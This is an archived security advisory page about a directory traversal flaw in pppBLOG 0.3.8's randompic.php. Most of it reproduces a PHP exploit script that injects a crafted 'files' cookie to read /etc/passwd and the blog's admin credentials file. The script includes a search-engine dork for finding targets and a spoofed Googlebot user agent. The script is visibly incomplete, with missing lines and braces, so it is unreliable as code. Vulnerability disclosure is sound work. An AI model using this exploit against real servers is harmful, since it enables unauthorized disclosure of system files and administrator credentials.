Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Forum/Board/Portal)  >   pppBLOG Vendors:
pppBLOG Input Validation Flaw in 'randompic.php' Script in the 'files' Array Permits Directory Traversal Attacks
SecurityTracker Alert ID:  1016198
SecurityTracker URL:
CVE Reference:   CVE-2006-2770   (Links to External Site)
Updated:  Jun 3 2009
Original Entry Date:  Jun 1 2006
Impact:   Disclosure of system information, Disclosure of user information
Exploit Included:  Yes  
Version(s): 0.3.8
Description:   A vulnerability was reported in pppBLOG. A remote user can view files on the target system.

The 'randompic.php' script does not properly validate user-supplied input in the 'files' array. If register_globals is enabled, a remote user can supply a specially crafted request to view files on target system that are located outside of the document directory.

A demonstration exploit URL is provided:


rgod reported this vulnerability.

The original advisory is available at:

Impact:   A remote user can view files on the target system.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.

 Source Message Contents

Subject:  pppBlog <= 0.3.8 administrative credentials/system disclosure

#!/usr/bin/php -q -d short_open_tag=on


echo "pppBlog <= 0.3.8 system disclosure exploit\r\n";

echo "by rgod\r\n";

echo "site:\r\n\r\n";

echo "dork: intext:\"Powered by pppblog\"\r\n\r\n";


works with:



if ($argc<4) {

echo "Usage: php ".$argv[0]." host path path_to_file OPTIONS\r\n";

echo "host:         target server (ip/hostname)\r\n";

echo "path:         path to pppblog\r\n";

echo "path_to_file: a file which you want to see content of\r\n";

echo "Options:\r\n";

echo "   -p[port]:    specify a port other than 80\r\n";

echo "   -P[ip:port]: specify a proxy\r\n";

echo "Examples:\r\n";

echo "php ".$argv[0]." localhost /pppblog/ ../../../../../../etc/passwd\r\n";

echo "php ".$argv[0]." localhost /pppblog/ ../config/admin.php -p81\r\n";

echo "php ".$argv[0]." localhost / ../config/admin.php -P1.1.1.1:80\r\n\r\n";



/* software site:

vulnerable code in randompic.php at lines 66-68:


header("Content-Type: image/gif");

header("Content-Transfer-Encoding: binary");



if randompic.php is called directly, without arguments, $files array is

not initialized, so , if register_globals = On, you can see all

files on target server, according to open_basedir restrictions, poc:


now at screen you have ppp-blog admin username/password pair, crypted by

crypt() php function





function quick_dump($string)



  for ($i=0; $i<=strlen($string)-1; $i++)


   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

   {$result.="  .";}


   {$result.="  ".$string[$i];}

   if (strlen(dechex(ord($string[$i])))==2)

   {$exa.=" ".dechex(ord($string[$i]));}


   {$exa.=" 0".dechex(ord($string[$i]));}

   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}


 return $exa."\r\n".$result;


$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)


  global $proxy, $host, $port, $html, $proxy_regex;

  if ($proxy=='') {


    if (!$ock) {

      echo 'No response from '.$host.':'.$port; die;



  else {

	$c = preg_match($proxy_regex,$proxy);

    if (!$c) {

      echo 'Not a valid proxy...';die;



    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";


    if (!$ock) {

      echo 'No response from proxy...';die;




  if ($proxy=='') {


    while (!feof($ock)) {




  else {


    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {






  #echo "\r\n".$html;





if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))

{die("Check the path, it must begin and end with a trailing slash\r\n");}



for ($i=4; $i<=$argc-1; $i++){


if ($temp=="-p")




if ($temp=="-P")





if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}

$packet ="GET ".$p."randompic.php HTTP/1.0\r\n";

$packet.="User-Agent: Googlebot/2.1\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Cookie: files[0]=".urlencode($path_to_file)."\r\n"; //through cookies, log this :)

$packet.="Connection: Close\r\n\r\n";


#echo quick_dump($packet);


echo $html;


original url:


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, LLC